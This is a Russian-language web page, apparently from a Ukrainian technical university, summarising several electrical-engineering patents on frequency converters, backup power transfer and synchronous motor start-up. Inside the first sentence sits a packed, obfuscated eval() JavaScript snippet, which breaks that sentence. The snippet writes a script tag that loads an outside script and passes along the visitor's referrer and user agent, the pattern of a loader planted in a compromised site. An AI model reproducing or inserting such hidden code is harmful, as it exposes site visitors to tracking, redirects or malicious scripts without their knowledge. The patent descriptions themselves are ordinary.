

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|dfnzk|var|u0026u|referrer|izzsy||js|php'.split('|'),0, {})) кафедре Электроснабжения промышленных предприятий и городов, кафедре Электростанций разработаны технологии в области управления и регулирования электрических двигателей и других потребителей электрического тока.

**1 .Гибридный несимметричный многоуровневый преобразователь частоты:** Патент Украины на изобретение № 92619, H02P 7/00/ Шавелкин А.А., Уланов Р.В.; ДонНТУ - заяв. № а200806908 от 19.05.2008 г.; 25.11.2010 г., бюл.№ 22.

Устройство относится к области электротехники и может быть использован в автоматизированном электроприводе для частотного управления электродвигателями переменного тока, а также для других потребителей электроэнергии переменного тока регулируемой частоты.

Автор: Kondratenko  
15.09.2015 13:14

---

Преобразователь содержит источник с тремя уровнями напряжения, которые образованы распределителем напряжения на двух последовательно соединенных конденсаторах, трехфазные мостовые выпрямители, которые подключены к конденсаторам распределителя напряжения при помощи зарядных резисторов, с контакторами, которые их замыкают. В каждой фазе содержится трехфазный трехуровневый инвертор. К выходу каждой фазы трехфазного инвертора подключен вывод диагонали переменного тока однофазного инвертора. В диагональ постоянного тока однофазного инвертора подключен конденсатор. Свободные выводы диагонали переменного тока однофазного мостового инвертора напряжения предназначены для подключения нагрузки. Управляющие выводы ключей схемы соединены с соответствующими выводами блока управления преобразователя, на который подаются сигналы с системы управления.

Наличие в схеме дополнительных сумматора, компаратора, функционального преобразователя и управления функциями блока управления обеспечивает использование одного параметра регулирования для стабилизации напряжения конденсатора однофазного мостового инвертора напряжения.

Наличие дополнительных фильтра и релейного регулятора обеспечивает поддержание напряжения конденсатора однофазного мостового инвертора напряжения в замкнутой системе регулирования.

Корректировка функций блока управления обеспечивает изменение алгоритма работы инверторов схемы, что позволяет расширить диапазон регулирования напряжения преобразователя в сторону уменьшения нижней предела. Расширения диапазона регулирования напряжении в сторону уменьшения нижней границы обеспечивает осуществление частотного пуска с плавной регулировкой частоты.

Совершенствования схемы преобразователя, новые конструктивные особенности и соединения позволяют повысить энергетические показатели преобразователя и упростить реализацию системы управления электроприводом.

Автор: Kondratenko  
15.09.2015 13:14

---

**2. Способ автоматического включения резервного питания двигателей переменного тока:** патент Украины на изобретение № 27380, МПК H02J 9/06; /Гребченко Н.В., Сивокобыленко В.Ф.; ДонНТУ, заявка № 93006374, заявл. 20.01.1993, опубл. 15.09.2000, бюл. № 4.

Изобретение относится к автоматике энергосистем и может быть использовано для потребителей электроэнергии с непрерывным технологическим процессом, имеющих в своем составе мощные высоковольтные синхронные или асинхронные двигатели.

Способ включает измерение угла между векторами напряжений основного и резервного источников питания двигателей, фиксацию исчезновения основного питания, определение момента совпадения по фазе векторов напряжения резервного источника и остаточного напряжения на двигателях. Новизна способа заключается в том, что дополнительно после подачи сигнала на ввод резервного питания измеряют угол между векторами напряжений на двигателях и резервного источника. При достижении указанным углом значения, предшествующего несинхронному включению резервного питания, отключают двигатели, не допускающие несинхронное включение.

Применение способа позволяет за счет введения новых операции и их определенной последовательности выполнять ввод резервного питания только синхронно, что повышает надежность включения резервного питания.

**3. Способ пуска и самозапуска синхронного двигателя:** патент Украины на изобретение № 2014720, МПК H02P 1/46; / Сивокобыленко В.Ф., Краснокутская Г.; ДонНТУ, заявка № 5031145/07, заявл. 10.01.1992, опубл. 15.06.1994.

Автор: Kondratenko  
15.09.2015 13:14

---

Изобретение относится к электротехнике и может быть использовано для улучшения пусковых характеристик синхронного двигателя в режимах пуска и самозапуска.

Сущность способа заключается в том, что на интервале изменения скольжения до первого заданного значения производят разгон двигателя с применением пускового сопротивления, на интервале изменения скольжения от первого до второго заданного значения циклически переключают обмотку возбуждения с активного сопротивления на возбудитель с двухполярным форсированным напряжением и обратно в моменты достижения вращающим электромагнитным моментом соответственно минимальных и максимальных мгновенных значений. Для вычисления вращающего электромагнитного момента используют мгновенные значения фазных токов и напряжений статора. На интервале скольжений, меньших второго заданного значения, осуществляют подачу постоянного по знаку напряжения возбуждения, благодаря чему двигатель втягивается в синхронизм.

Применение способа позволяет повысить асинхронный момент в режимах пуска за счет оптимального управления возбуждением в функции от электромагнитного момента.